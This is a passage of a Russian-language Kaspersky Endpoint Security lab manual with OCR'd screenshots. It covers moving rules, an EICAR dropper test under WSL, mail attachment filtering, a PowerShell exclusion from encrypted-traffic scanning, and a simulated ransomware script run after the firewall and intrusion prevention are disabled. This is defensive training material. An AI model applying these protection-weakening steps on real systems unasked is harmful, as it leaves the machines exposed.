- 28. Включите правило: поставьте отметку возле одноименной опции
- 29. Перейдите на вкладку Rule conditions
- Настройте условия для IP-адресов: перейдите на вкладку Network
- Примените правило к компьютерам с адресами в заданном интервале: включите параметр IP range
- 32. Ведите начальный и конечный IPадрес **10.28.0.100** и **10.28.0.199** соответственно
- 33. Перейдите на вкладку **Applications**
- 34. Из выпадающего списка выберите опцию, что Сетевой Агент установлен: Yes
- 35. Сохраните правило: нажмите **Save**
- 36. Создайте правило Laptops
- 37. Укажите группу назначения: В выпадающем списке выберите подгруппу Managed devices | Workstations | Laptops

	RULE CONDI	TIONS			
Tags	Network	Applications	Virtual machines	Active Directory	Cloud segments
Device nam	e on the Windo	ows network			
Windows do	omain				
DNS name (	of the device				
DNS domai	-				
IP range	2				
From	-	10	28.0.100		
То		10	28.0.100		
IP addre	ess for connect	ion to Administrati	on Server		
Connection	profile change	ed			~
connection	prome enunge				
Managed by	/ a different Adi	ministration Servei			~
New rule					
0.000					
GENERAL	RULE CONDI	TIONS			
GENERAL	RULE CONDI	TIONS	-		
GENERAL	Network	Applications	Virtual machines	Active Directory	Cloud segments
GENERAL	Network	Applications	Virtual machines	Active Directory	Cloud segments
GENERAL Tags Network Ag	Network	Applications Yes	Virtual machines	Active Directory	Cloud segments
GENERAL Tags Network Ag	Network ent is installed ing system ver	Applications Yes	Virtual machines	Active Directory	Cloud segments
GENERAL Tags Network Ag Operating s	Network ent is installed ing system ver ystem bit size	Applications Yes sion	Virtual machines	Active Directory	Cloud segments
GENERAL Tags Network Ag Operating s Operating s	Network ent is installed ing system ver ystem bit size ystem service j	Applications Yes sion	Virtual machines	Active Directory	Cloud segments
GENERAL Tags Network Ag Operating s Operating s	Network ent is installed ing system ver ystem bit size ystem service p	Applications Yes sion	Virtual machines	Active Directory	Cloud segments
GENERAL Tags Network Ag Operating s Operating s User certific	Network ent is installed ing system ver ystem bit size ystem service p ate	Applications Yes sion pack version	Virtual machines	Active Directory	Cloud segments
GENERAL Tags Network Ag Operating s Operating s User certific Operat	Network ent is installed ing system ver ystem bit size ystem service p ate ing system bui ing system bui	Applications Yes sion Ld Ld ease number	Virtual machines	Active Directory	Cloud segments
GENERAL Tags Network Ag Operating s Operating s User certific Operat Operat	Network ent is installed ing system ver ystem bit size ystem service p ate ing system bui ing system bui	Applications Yes sion Dack version Id ease number	Virtual machines	Active Directory	Cloud segments
GENERAL Tags Network Ag Operating s Operating s User certific Operat Operat Operat	Network ent is installed ing system ver ystem bit size ystem service p ate ing system bui ing system rele	Applications Yes sion Dack version Id aase number	Virtual machines	Active Directory	Cloud segments
GENERAL Tags Network Ag Operating s Operating s User certific Operat Operat Ser certific Operat Operat Center Coperat	Network ent is installed ing system ver ystem bit size ystem service p ate ing system bui ing system rele	Applications          Applications         Sion         Deack version         Id         case number         IONS	Virtual machines	Active Directory	Cloud segments
GENERAL Tags Network Ag Operating s Operating s User certific Operat Operat Severat Coperat	Network ent is installed ing system ver ystem bit size ystem service p ate ing system bui ing system rele	Applications  Yes  sion  Dack version  Id  case number  IONS	Virtual machines	Active Directory	Cloud segments
GENERAL Tags Network Ag Operating s Operating s User certific Operat Operat Operat Center New rule GENERAL Rule name	Network ent is installed ing system ver ystem bit size ystem service p ate ing system bui ing system rele RULE CONDIT	Applications          Applications         Sion         Dack version         Id         base number         IONS	Virtual machines	Active Directory	Cloud segments
GENERAL Tags Network Ag Operating s Operating s User certific Operating User certific Operating Severat Central Rule name Administratio	Network ent is installed ing system ver ystem bit size ystem service p ate ing system bui ing system bui RULE CONDIT on group	Applications  Yes  sion  Dack version  Id  casse number  IONS  Laptop La	Virtual machines	Active Directory	Cloud segments
GENERAL Tags Network Ag Operating s Operating s User certific Operating User certific Operat Operat Ser certific Operat Operat Ser certific Operat Operat Ser certific Operat Operat Operat Operat Operat Operat Operat Operat Operat Operat Operat Operat Operat Operat Operat Operat Operat	RULE CONDI Network ent is installed ing system ver ystem bit size ystem service p ate ing system bui ing system bui ing system bui po group on group	Applications Applications Sion Control	Virtual machines Virtual machines	Active Directory	Cloud segments
GENERAL Tags Network Ag Operating s Operating s User certific Operating s User certific Operating Ser certific Operating Operating Ser certific Operating Ser certific Operating Ser certific Operating Operating Ser certific Operating Operating Ser certific Operating Operating Ser certific Operating Operating Ser certific Operating Operating Operating Ser certific Operating O	RULE CONDI Network ent is installed ing system ver ystem bit size ystem service p ate ing system bui ing system bui ing system rele RULE CONDIT on group e for each devi e for each devi	Applications          Applications         Yes         sion         pack version         pack version         Id         passe number         IONS         Laptop         La         ce         ce         ce	Virtual machines	Active Directory	Cloud segments

- 38. Выберите режим Apply rule continuously
- 39. Снимите отметку с параметра Move only devices that do not belong to an administration group
- 40. Отметьте параметр Enable rule

- 41. Перейдите на вкладку Условия правила
- 42. Перейдите на вкладку **Network**
- 43. Включите параметр IP range
- 44. Ведите начальный и конечный IPадрес **10.28.0.200** и **10.28.0.254** соответственно

- 45. Перейдите в раздел **Applications**
- 46. Из выпадающего списка выберите опцию, что Сетевой Агент установлен: Yes
- 47. Сохраните правило: нажмите **Save**
- 48. В списке правил должно быть создано пять правил перемещения: два от инсталляционных пакетов, три созданных вами

Laptops	
GENERAL RULE CONDITIONS	
Tags Network Applicati	ons Virtual machines Active Directory Cloud segments
Device name on the Windows network	()
Windows domain	
DNS name of the device	
DNS domain	
IP range	
From	10.28.0.200
То	10.28.0.254
IP address for connection to Admin	nistration Server
Connection profile changed	~
Managed by a different Administration	Server v

0	New rule						
	GENERAL	RULE CONDI	TIONS				
	Tags	Network	Applications	Virtual machines	Active Directory	Cloud segments	
	Network Ag	jent is installed	Yes			~	
	Operat	ting system ver	sion				
	Operating s	ystem bit size				~	
	Operating s	ystem service	pack version				
	User certific	ate				~	
	Operat	ting system bui	ld				
	Operat	ting system rele	ease number				

≡ m ⊄	DISCOVERY & DEPLOYMENT	/ DEPLOYMENT & ASSIGNMENT / 1	MOVING RULES
	▲ Move up    ✓ Move down	X Delete Enforce enabled rule 🖪 Copy	
KASPERSKY SECURITY CENTER	Rule name	Status	Rule group
	Remote installation task		Managed devices
▲ MONITORING & REPORTING →	Move devices to group 'Managed device:	<u>s' (##0) after Net</u> >>	Managed devices
T DEVICES >	Servers		<u>Servers</u>
& USERS & ROLES >	Desktops		<u>Desktops</u>
	Laptops		<u>Laptops</u>
			Previous 1 Next >


- 49. Перейдите на страницу **Devices |** Managed Devices
- 50. Наверху страницы нажмите на путь KSC / Managed Devices
- 51. В дереве групп выберите KSC | Managed Devices | Servers

52. Проверьте, что компьютер **KSC** с операционной системой Windows Server 2016 был автоматически перемещен в группу **Servers** 

KASPERSKY	$\checkmark$ Servers	🐵 Move to group Connect to Rem	ote Desktop Q Search
SECURITY CENTER	$\checkmark$ Workstations	Visible	Last connected to Admini >
<b>ы</b> кsc 🖌	> Laptops	$\odot$	04/20/2021 3:13:43 pm
			Provious 1 Next >
			Previous I Next
TE DEVICES	•		
POLICIES & PROFILES			
TASKS			
MANAGED DEVICES			
DISTRIBUTION POINTS			
MOVING RULES			
DEVICE SELECTIONS			
TAGS	>		
HIERARCHY OF GROUPS			
& USERS & ROLES	<b>&gt;</b>		
DISCOVERY & DEPLOYMENT			
CONSOLE SETTINGS	· ·		
ABC\ADMINISTRATOR     ADMINISTRATOR     ADMINISTRATOR	Change structure		
≡ m 4	DEVICES / MANAGED DEVICES		
<b>FITI</b>	Current nath: KSC / Managed devices / Servers		
KASPERSKY	+ Add devices × Delete + New task  Move	e to group Connect to Remote Desktop	Q Search 🗢 🏹 😶
SECURITY CENTER	Name	Visible	Last connected to Admini >> Network Agen
E KSC و →	<u>KSC</u>	⊘	04/20/2021 3:13:43 pm 📀
			<pre>     Previous 1 Next &gt; Result 1-20 / 20 tot </pre>

53. Самостоятельно проверьте, что остальные компьютеры переместились в соответствующие группы

Д

111

Select administration group

✓ KSC

#### Заключение

Вы установили защиту и распределили компьютеры в группы. Настройки по умолчанию рассчитаны на среднего пользователя Kaspersky Endpoint Security. Они надежно защищают компьютеры, но стараются как можно меньше влиять на работу пользователя. Изучив настройки, вы можете изменить баланс между защитой и комфортом пользователей: усилить защиту в одних аспектах и, может быть, незначительно ослабить в других, увеличив комфорт. Как менять настройки защиты рассказывают дальнейшие лабораторные работы.

## Лабораторная работа 4. Как проверить защиту в Windows Subsystem for Linux

Сценарий. По умолчанию Kaspersky Endpoint Security поддерживает Windows Subsystem for Linux, это такой слой совместимости для запуска Linux-приложений в последних версиях Microsoft Windows. В нашем случае Windows Subsystem for Linux работает на базе Kali Linux 2018. Задача администратора — запустить тестовый вредоносный файл в Windows Subsystem for Linux и убедиться, что Kaspersky Security для Windows Server обнаружит и удалит его.

В этой лабораторной работе мы скомпилируем загрузчик eicar.com в Windows Subsystem for Linux, которая работает на Windows 10.

Компьютеры KSC, DC и Tom-Laptop должны быть включены.				
	DC	KSC	Tor	n-Laptop
Задание выполняется на компьютере	e Tom-Lap	top.		
		Tom-Lap	top	
1. Нажмите <b>Win+R</b>			📨 Run	×
<ol> <li>В поле ввода введите wsl</li> </ol>				Type the name of a program, folder, document, or Internet resource, and Windows will open it for you.
3. Нажмите кнопку <b>ОК</b>			<u>O</u> pen:	wsl v
				OK Cancel <u>B</u> rowse

4. Скопируйте исходный код еісаг-дроппера в папку /tmp:

cp /mnt/c/temp/eicar\_drop\_kl\_edu.cpp /tmp/



Application Activity Monitor

Retwork Monitor More Tools 🗸

Database Update

#### 6. Скомпилируйте eicar-dropper компилятором g++:

g++ eicar\_drop\_kl\_edu.cpp -o eicar\_dropper

💵 tom@tom-laptop: /tmp tom-laptop:/mnt/c/Users/tom.ABC\$ cp /mnt/c/temp/eicar\_drop\_kl\_edu.cpp /tmp/ tom-laptop:/mnt/c/Users/tom.ABC\$ cd /tmp/ tom-laptop:/tmp\$ g++ eicar\_drop\_kl\_edu.cpp -o eicar\_dropper tom-laptop:/tmp\$ 🔳 tom@tom-laptop: /tmp 7. Запустите m@tom-laptop:/tmp\$ ./eicar\_dropper `+hdNNd+ :hNNmhsскомпилированный eicar-dropper файл: ONMMMM/ -mMMMMy` /MMsdMN:/osyss+:dMN/MMy OMM-/MMMMdhhmMMMMs`NMd DEMO eicar dropper 0.1 ./eicar\_dropper `mMNMMh/`DEMO:SNMNM: ./MMN+ EICAR -mMMy . /MNhoMMNMMMmdyyssyhmMMMNMMyymMy `/smMm`-/oyyNMMyys+:.yMMmy/. : MM+ y MM .MMs MMy `MMmssso oMMуММ :sssdMM: **V**MM /MMdhhhy /hhhhMMy умм sMM: уMM ` NMm .mMM-`mMM/ уMМ `sMMMMNy: .sNMMMMhу́ММ :NMd+`-hMMms/dMM/ohMMm/ :yMMo .+hNMMMMMNds-8. Откройте интерфейс Kaspersky Endpoint Security: щелкните левой клавишей мыши по иконке KES в системной панели No active threats detected 9. Нажмите More Tools 10. В появившемся меню Backup выберите Reports Threat detection technologies S Aspersky Security Network

Protection components

0 ©

#### 11. Выберите отчет File Threat Protection

- 12. Найдите события обнаружения угроз
- 13. Найдите результаты обработки этих угроз

K Reports	– L X
<	File Threat Protection ③ Update Save report
0	
System audit	
Advanced Threat Protection	Time: Month • (01-Mar-21 ) 01-Apr-21 >
Behavior Detection	Fuent date I Object
Exploit Prevention	
Host Intrusion Prevention	▲ Today, 30-Mar-21 14:30:29 C:\Users\tom.ABC\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows
0.0.000	Today, 30-Mar-21 14:30:29 C:\Users\tom.ABC\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows
Essential Inreat Protection —	Today, 30-Mar-21 14:30:29 C:\Users\tom.ABC\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_
File Threat Protection	I Today, 30-Mar-21 14:30:16 C:\Users\tom.ABC\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_
Web Threat Protection	⚠ Today, 30-Mar-21 14:28:42 C:\ProgramData\Kaspersky Lab\KES\Setup\agent\endpointagent.msi
Mail Threat Protection	① Today, 30-Mar-21 14:25:08
Firewall	1 Today, 30-Mar-21 13:25:01
Network Threat Protection	
AMSI Protection	△ Today, 30-Mar-21 14:30:29 Object deleted
Security Controls	Event: Object deleted User: ABC\Tom User: Ype: Active user
Adaptive Anomaly Control	Application name: eicar_dropper Application path: C\Users\tom.ABC\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\vootfs
Application Control	\tmp Component: File Threat Protection
Device Control	Result description: Deleted Type: Virus
Web Control	Name: EICAR-Test-File

#### Заключение

Эта лабораторная работа показывает, как Kaspersky Endpoint Security умеет обнаруживать вредоносные файлы, которые сохраняются или создаются в Windows Subsystem for Linux.

### Лабораторная работа 5. Как настроить защиту от почтовых угроз

Сценарий. Когда вы посылаете по почте исполняемый файл, чтобы пользователь его запустил и решил свою проблему, Kaspersky Endpoint Security переименовывает вложение. Чтобы не объяснять пользователям как переименовать его назад и не терять время, настройте защиту от почтовых угроз не переименовывать файлы. Однако злоумышленники часто используют файлы с двойным расширением, чтобы обманным путем заставить пользователя запустить исполняемый файл под видом документа. Такие файлы нужно уничтожать.

**Содержание**. В этой лабораторной работе настройте защиту от почтовых угроз не переименовывать вложенные \*.exe-файлы и уничтожать файлы с двойным расширением \*.pdf.exe.

- 1. Отправьте письмо с исполняемым файлом
- 2. Отредактируйте фильтр вложений
- 3. Проверьте, что защита от Почтовых угроз больше не редактирует вложения

#### Задание А: Отправьте письмо с исполняемым файлом

Отправьте письмо на адрес tom @abc.lab с вложенным \*.pdf.exe-файлом в zip-архиве. Получите письмо и проверьте, что защита от почтовых угроз изменила расширение архива.



- Распакуйте архив
   Document1.zip (выберите в контекстном меню файла команду Extract all)
- Обратите внимание, что заархивированный файл называется
   Document1.pdf.ex\_.
   Защита от почтовых угроз изменила расширение архива с исполняемым файлом

File Home SI Pin to Quick Copy Pas access Clipboard ← → ✓ ↑ ↓	ihare Vie	Move to 🗸 🗙 Delete 🕶	<b>•</b>	
Pin to Quick Copy Pasaccess Clipboard  ← → ∨ ↑ ↓	ste	Move to 👻 🗙 Delete 👻	<b>-</b>	
Clipboard $\leftarrow \rightarrow \checkmark \uparrow \Box \diamond$		Copy to 👻 📑 Rename	Pew New folder	Properties
$\leftrightarrow \rightarrow \land \uparrow \square $		Organize	New	Open
	→ This PC →	Desktop > Document1	~	ල් Search Docu
📌 Quick access oneDrive		<ul> <li>Name</li> <li>Document1.pdf.</li> </ul>	^ ex_	Date n 30-Ma
This PC				

#### Задание В: Отредактируйте фильтр вложений

Local Tasks

В политике Kaspersky Endpoint Security отредактируйте список форматов вложений, которые обрабатывает Защита от почтовых угроз.

3a,	дание выполняется на	компьютере <b>КSC</b> .	
			KSC
8.	Откройте веб- консоль Kaspersky Security Center		DEVICES / POLICIES & PROFILES Current path: KSC / Managed devices / Workstations / Laptops
9.	В боковом меню	KASPERSKY SECURITY CENTER	+ Add          G Refresh list         @ Show in group         Copy          Move × Delet         @ Distribution         Q Search         \$         Stat>         Policy name         Application         Inherited
	выберите Devices   Polices & Profiles	⊑кsc ⊁>	Kaspersky Endpoint Security for Windows (11.6.0)         Image: Security for Windows (11.6.0)         Kaspersky Endpoint Security for Windows (11.6.0)         Kaspersky Endpoint Security for Windows (11.6.0)
10	Гтоплез Откройте попитику		Kaspersky Security 11 for Windows Server
10.	Kaspersky	POLICIES & PROFILES	O     Default protection for Kaspersky. Security: 11 for: Windows
	Endpoint Security for Windows		,
11.	. Перейдите на	• Kaspersky Endpoint Security for Windo	ws(116.0)
	вкладку Application	High protection level.	
	settings	GENERAL EVENT CONFIGURATION	APPLICATION SETTINGS REVISION HISTORY POLICY PROFILES
12.	Перейдите в	Advanced Threat Protection	File Threat Protection
	раздел Essential Threat Protection	Essential Threat Protection	ins component resides in KAW, scanning all opened, saved, and active files to ensure maximum protection at all times.
13.	Откройте	Security Controls Detection and Response	Web Threat Protection This component protects inbound traffic on your computer.
	настройки <b>Маі</b>	Data Encryption	

Mail Threat Protection

#### настройки Mail Threat Protection

14. Измените работу фильтра	Mail Threat Protection	
вложений.	5 seconds (1 to 9999)	
выерите параметр: Delete attachments of selected types	Attachment filter Disable filtering Rename attachments of selected types Delete attachments of selected types	
	+ Add × Delete 🎫 Import	클 Export
	File mask	State
	<u>*.asp</u>	Disabled
	<u>*.bat</u>	C Enabled
	<u>*.bin</u>	Disabled
настроек вниз	Mail Threat Protection	
16. Отключите	+ Add × Delete 💱 Import 💱	Export
обработку *.ехе	File mask	State
		Disabled
		Enabled
		Enabled
		Disabled
		Disabled
	wy	
	* eml	
	* exe	
		Uisauleu
17. Создайте новый	Mail Threat Protection	Add mask

- Создайте новый фильтр вложений: Нажмите Add
- 18. В поле **Extension** добавьте \*.pdf.exe
- 19. Нажмите **ОК**

Mail Threat Protection	Add mask
	Extension
	*.pdf.exe
Advanced settings	State
	State
Scan POP3, SMTP, NNTP, and IMAP traffic	<ul> <li>Enabled</li> </ul>
Connect Microsoft Outlook extension	<ul> <li>Disabled</li> </ul>
Scan when receiving	
Scan when reading	
Scan when sending	

# Задание С: Проверьте, что Защита от почтовых угроз больше не редактирует вложения

Начните выполнять задание на компьютере А	lex-Desktop.
	Alex-Desktop
<ul> <li>20. Подключитесь к машине Alex-Desktop и создайте еще одно письмо. Приложите файл Procmon.zip (местонахождение файла уточните у инструктора)</li> <li>21. В поле Subject: введите IT Service Desk</li> <li>22. Нажмите Send</li> </ul>	Image: Solution of the solution
	See more about tom@abc.lab.
Перейдите на компьютер <b>Тот-Laptop</b> .	
23. Откройте Microsoft Outlook	Tom-Laptop
24. Covpany te date Brocmon zin Ha	e Home Share View ^ 😯
рабочий стол	
25. Распакуйте архив <b>Procmon.zip</b> (выберите в контекстном меню файла команду <b>Extract all</b> )	Certific Copy To Select     Copy to * ■ Rename roder roder     Properties roder     Properties roder       Clipboard     Organize     New     Open     Select       Properties roder     New     Open     Select
26. Обратите внимание, что в новом письме заархивированный файл называется <b>Procmon.exe</b> ; Защита от почтовых угроз его не	Image: Sector     Image: Sector       Image: Sector     I

#### Заключение

переименовала

Вы настроили защиту от почтовых угроз не переименовывать \*.exe-файлы.

Если сеть через почту атакует новый вирус, которого нет в базе сигнатур и в KSN, настройте защиту от почтовых угроз переименовывать или удалять все исполняемые вложения.

## Лабораторная работа 6. Как проверить защиту от веб-угроз

Сценарий. С настройками по умолчанию Kaspersky Endpoint Security умеет проверять зашифрованный трафик, используя подмену сертификата. В некоторых случаях подмена сертификата может негативно влиять на работу банк-клиентов и других программ, использующих свой собственный сертификат. Чтобы избежать проблем взаимодействия в Kaspersky Endpoint Security есть возможность исключать из проверки только зашифрованный трафик.

Содержание. В этой лабораторной работе:

- 1. Проверьте, что Защита от веб-угроз проверяет https трафик с настройками по умолчанию
- 2. Выключите проверку шифрованного трафика для программы PowerShell
- 3. Проверьте, что защита от веб-угроз не мешает загрузить тестовый вирус доверенной программе PowerShell по протоколу https

# Задание А: Проверьте, что по умолчанию Защита от веб-угроз проверяет https трафик

Запустите PowerShell и попробуйте загрузить файл *eicar\_com.zip* и посмотрите на peaкцию Kaspersky Endpoint Security.

Ко	Компьютеры DC, KSC, Tom-Laptop должны быть включены.					
	DC	KSC	Tom-Laptop			
3a,	дание выполняется на компьютере <b>Tom-Laptor</b>	<b>ɔ</b> .				
		Tom-Laptop				
1.	Нажмите <b>Win+R</b>	📨 Run	×			
2. 3.	В поле ввода введите powershell Нажмите кнопку <b>ОК</b>	Open:	Type the name of a program, folder, document, or Internet resource, and Windows will open it for you.			
			OK Cancel <u>B</u> rowse			

4. Загрузите файл eicar\_com.zip средствами PowerShell по протоколу https. Выполните команду:

```
Invoke-WebRequest -uri "https://secure.eicar.org/eicar_com.zip" -OutFile
"C:\temp\eicar com.zip"
```



5. Убедитесь, что Kaspersky Endpoint Security заблокировал загрузку файла. Не закрывайте окно PowerShell

#### Задание В: Выключите проверку шифрованного трафика для программы PowerShell

Добавьте программу PowerShell в список доверенных программ, попробуйте загрузить файл *eicar\_com.zip* и посмотрите на реакцию Kaspersky Endpoint Security.

3aį	дание выполняется на комг	њютере <b>KSC</b> .	
6.	Откройте веб-консоль Kaspersky Security Center		DEVICES / POLICIES & PROFILES
7.	В боковом меню выберите <b>Devices</b>   <b>Polices &amp; Profiles</b>	KASPERSKY SECURITY CENTER	+ Add          ⊂ Refresh list          ⇔ Show in group           ⊡ Copy           ⊕ Move           ∠ Delete           ⊕ Distribution             □ Stat >>          Policy name           Application
8.	Откройте политику	📃 KSC 🔑 >	Kaspersky Endpoint Security for Windows (11.6.0)
Ka So	Kaspersky Endpoint Security для Windows	▲ MONITORING & REPORTING >	Kaspersky Security 11 for Windows Server
		DEVICES 🗸	Default protection for Kaspersky Security 11 for Windows >> Kaspersky Security 11 for Windo
		POLICIES & PROFILES	Kaspersky Security Center 13 Network Agent

- 9. Перейдите на вкладку **Application Settings**
- 10. Перейдите в раздел **General settings**
- 11. Откройте настройки **Exclusions**

12. Чтобы добавить доверенное

13. Нажмите Add

приложение, пройдите

по ссылке Trusted

applications в левой

нижней части экрана

Kaspersky Endpoint Security for Windows (11.6.0) High protection level. GENERAL EVENT CONFIGURATION APPLICATION SETTINGS REVISION HISTORY POLICY PROFILES Advanced Threat Protection Application Settings Essential Threat Protection Security Controls Network Settings Detection and Response Data Encryption Exclusions Local Tasks General settings Reports and Storage rts and backup object Exclusions Types of detected objects 🔒 Enforce 💽 Malware Viruses and worms Malicious tools Adware, auto-dialers, other programs Adware Auto-dialers Detect other software that can be used by criminals to damage your computer or personal data Packers Packed objects whose packing may be used to protect malicious code Multi-packed objects Scan exclusions and trusted applications A Enforce Scan exclusions <u>Trusted applications</u> Total number of trusted applications: 0, 0 of them active O Application Path or path mask to the application %systemroot%\System32\WindowsPowerShell\v1.0\powershell.exe Comment

No data

- 14. В строке ввода пути к исполняемому файлу введите %systemroot%\ system32 WindowsPowershell\ v1.0\powershell.exe
- 15. Отключите опции:
  - \_ Do not scan opened files
  - Do not inherit restrictions of the parent process (application)
- 16. Включите опцию Do not scan network traffic с параметром Encrypted traffic only
- 17. Сохраните исключения: нажмите OK

Do not scan opened files

Do not scan network traffic

Encrypted traffic only

+ Add  $\times$  Delete

IP address

Specified remote IP addresses

O All traffic

Do not monitor application activity

Do not monitor child application activity Apply exclusion recursively

Allow interaction with the application interface

Do not inherit restrictions of the parent process (application)

Do not block interaction with AMSI Protection component

### kaspersky

#### 46

- 18. Сохраните политику: нажмите **Save**
- 19. Подтвердите применение данных настроек. Нажмите Yes
- 20. Подождите пока политика применится

• Kaspersky Endpoint Security for Windo	<b>(2)</b> m x						
High protection level.							
GENERAL EVENT CONFIGURATION	APPLICATION SETTINGS	REVISION HISTORY	POLICY PROFILES				
Advanced Threat Protection Essential Threat Protection	Application Settings General Settings						
Security Controls Detection and Response	Network Settings Settings for network componen	nts					
Data Encryption Local Tasks	Exclusions Settings for detected threats an	d scan exclusions					
General settings	Reports and Storage Settings for storage of reports a	and backup objects					
		Save	Cancel				

#### Задание С: Проверьте, что защита от веб-угроз не мешает загрузить тестовый вирус доверенной программе PowerShell по шифрованному протоколу https

Еще раз загрузите файл **eicar\_com.zip** с ресурса *eicar.org* с помощью программы PowerShell. Проверьте, что защита от веб-угроз не блокирует тестовый вирус при загрузке через доверенное приложение.

Задание выполняется на компьютере <b>Тот-Laptop</b> .	
Tom-Laptop	

21. Повторно загрузите файл eicar\_com.zip по зашифрованному протоколу https. Выполните команду:

Invoke-WebRequest -uri https://secure.eicar.org/eicar\_com.zip -OutFile "C:\temp\eicar\_com.zip"

PS C:\Users\tom.ABC> Invoke-WebRequest PS C:\Users\tom.ABC>

temp 22. Убедитесь, что файл был успешно сохранен: View File Home Share перейдите в папку **G** Ж E 💊 Move to 🔻 X Delete ⋪ C:\temp\ Ð 11.... Pin to Ouick Paste New Properties Select Copy 🕒 Copy to 🐐 🖃 Rename Ē 23. Закройте окно folder access **PowerShell** Clipboard Organize New Open → This PC → Local Disk (C:) → temp  $\mathbf{\Lambda}$ Search temp Ø ~ J Name Date modified Тур This PC 15-Jan-19 07:50 🐇 bsstest\_amsi.zip 📜 3D Objects Co eicar.zip 31-Mar-21 11:29 Co 📃 Desktop eicar\_drop\_kl\_edu.cpp 14-Dec-17 12:35 CP Documents invoice.txt.aes 31-Mar-21 11:56 AE: 🖶 Downloads Music Pictures Videos < < 느 Local Disk (C:)

#### Заключение

Лабораторная работа показывает, как добавить стороннее приложение в список доверенных программ и не проверять шифрованный сетевой трафик.

Опция **Do not scan network traffic** для доверенных программ распространяется на компоненты Защита от почтовых угроз, Защита от веб-угроз и Веб-Контроль, и не распространяется на компоненты Сетевой экран и Защита от сетевых угроз.

## Лабораторная работа 7. Как проверить защиту сетевых папок от программвымогателей

Сценарий. Из всех угроз больше всего вас беспокоят программы-вымогатели, шифрующие данные в папках общего доступа. Если однажды Kaspersky Endpoint Security не обнаружит новую версию вредоносной программы, компания потеряет много денег. Для защиты от программ-вымогателей вы хотите использовать компонент защиты Behavior Detection.

Содержание. В этой лабораторной работе:

- 1. Имитируйте заражение вредоносной программой-вымогателем
- 2. Проверьте результаты работы компонента защиты Анализ поведения
- 3. Разрешите шифрование в сетевых папках общего доступа и настройте исключения для сетевых устройств
- 4. Проверьте, что исключения для сетевых устройств работают корректно

#### Задание А: Имитируйте заражение вредоносной программойвымогателем

Отключите другие компоненты защиты, которые могут заблокировать тестовый файл раньше, чем **Behavior Detection**. Найдите на рабочем столе компьютера Alex-Desktop и запустите скрипт ransomware2.bat, который шифрует и удаляет файлы в сетевых папках общего доступа.



Проверьте, что Kaspersky Endpoint Security восстановил файл invoice.txt, а пользователь Alex больше не может модифицировать файлы на сетевой папке общего доступа.



# 6. Выключите компонент защиты: Host Intrusion

7. Нажмите ОК

8. В разделе

Essential Threat Protection

выберите Firewall

Essential Threat Protection Security Controls

Detection and Response Data Encryption

Local Tasks General settings

O Host Intrusion Prevention Medium protection level. It is recommended to enable the component and block it from being disabled. Host Intrusion Prevention 🔒 Enforce 💽 Host Intrusion Prevention DISABLED Application rights and protected resources 🔒 Enforce 💽 Application rights and protected resources Configure application rights to access user files and application settings or to access operating system processes and objects. Trust group for applications launched before Kaspersky Endpoint Security for Windows starts working Low Restricted Application processing rules 🔒 Enforce 💽 ☑ Update rights for previously unknown applications from KSN database Trust applications that have a digital signature Delete rights for applications that have not been run for more than (days, 1 to 90) 60 Trust group for applications that could not be added to existing groups Low Restricted ~ S Kaspersky Endpoint Security for Windows (11.6.0) () Medium protection level. Some of the recommended protection components are disabled. Learn more GENERAL EVENT CONFIGURATION APPLICATION SETTINGS REVISION HISTORY POLICY PROFILES Advanced Threat Protection File Threat Protection This component resides in RAM, scanning all opened, saved, and active files to ensure maximum prote

Web Threat Protection

Mail Threat Protection

Network Threat Protection

Firewall

9. Выключите Firewall

#### 10. Нажмите ОК

Firewall	9
Firewall	🔒 Enforce
Firewall DISABLED This component filters all network activity according to the specified rules.	
Firewall Settings	🔒 Enforce
Application network rules Configure application network rules in the operating system.	
Network packet rules Configure rules for network packets and data streams.	
Available networks	🔒 Enforce

This component filters all network activity according to the specified rules.

. inbound traffic on your computer

pring and outgoing messages for dangerous objects. The following protocols are supported: POP3,

If Kaspersky Endpoint Security for Windows detects an attempted attack on your computer, then any network activity of the attawill be blocked.

- 11. Сохраните () Kaspersky Endpoint Security for Windows (11.6.0) настройки. Medium protection level. Some of the recommended protection components are disabled. Learn more Нажмите Save GENERAL EVENT CONFIGURATION APPLICATION SETTINGS REVISION HISTORY POLICY PROFILES 12. Подтвердите Advanced Threat Protection применение File Threat Protection Essential Threat Protection настроек. Нажмите Yes Web Threat Protection Detection and Response 13. Подождите пока Data Encryption Mail Th политика × Save settings Local Tasks применится Important protection components are disabled (for more information, click the link in the description of the protection level). 14. Перезагрузите Are you sure you want to apply these settings? компьютер Тот-No Laptop Переключитесь на компьютер Alex-Desktop. Alex-Desktop 15. Откройте папку 🚽 | 🛃 📙 🖛 | temp П × общего доступа ~ 🔞 Home Share View \\tom-laptop\temp م  $\mathbf{T}$ > Network > tom-laptop > temp > 5 v Search temp ~ 16. Убедитесь, что в Date modified Name Type Size 💻 This PC папке присутствует 5/6/2021 6:51 AM File folder bsstest amsi 📃 Desktop файл invoice.txt bsstest\_amsi 1/15/2019 7:50 AM Compressed (zipp... 1 KB 🗄 Documents 12/14/2017 12:35 ... CPP File eicar\_drop\_kl\_edu.cpp 2 KB 👆 Downloads 1/20/2017 9:54 AM 1 KB invoice Text Document 👌 Music Pictures 📑 Videos 🏪 Local Disk (C:) 💣 Network
- 17. Найдите на рабочем столе файл **ransomware2.bat**, выполняющий действия, схожие с действиями вредоносных программ-шифровальщиков
- × 18. Запустите файл C:\Windows\system32\cmd.exe ransomware2.bat Congratulations!!! Your personal files are encrypted ~ ress any key to continue . . . 19. Просмотрите × 🚽 | 📝 📙 🗢 | temp содержимое папки Home Share View 0 \\tom-laptop\temp ×Λ • > Network > tom-laptop > temp > Search temp p v ∂ Name Date modified Size Type 💻 This PC 5/6/2021 6:51 AM bsstest\_amsi File folder Desktop bsstest\_amsi 1/15/2019 7:50 AM 1 KB Compressed (zipp... Documents 12/14/2017 12:35 ... CPP File eicar\_drop\_kl\_edu.cpp 2 KB Downloads 5/6/2021 3:20 PM AES File invoice.txt.aes 1 KB Music Pictures Videos Local Disk (C:) 🔿 Network

- Откройте файл invoice.txt.aes в программе Блокнот
- 21. Убедитесь, что файл invoice.txt.aes зашифрован
- 22. Закройте Блокнот
- 23. Обновите содержимое папки \\*tom-laptop\temp*
- 24. Убедитесь, что файл invoice.txt был создан заново

Image: Image		-		× ~ (?)
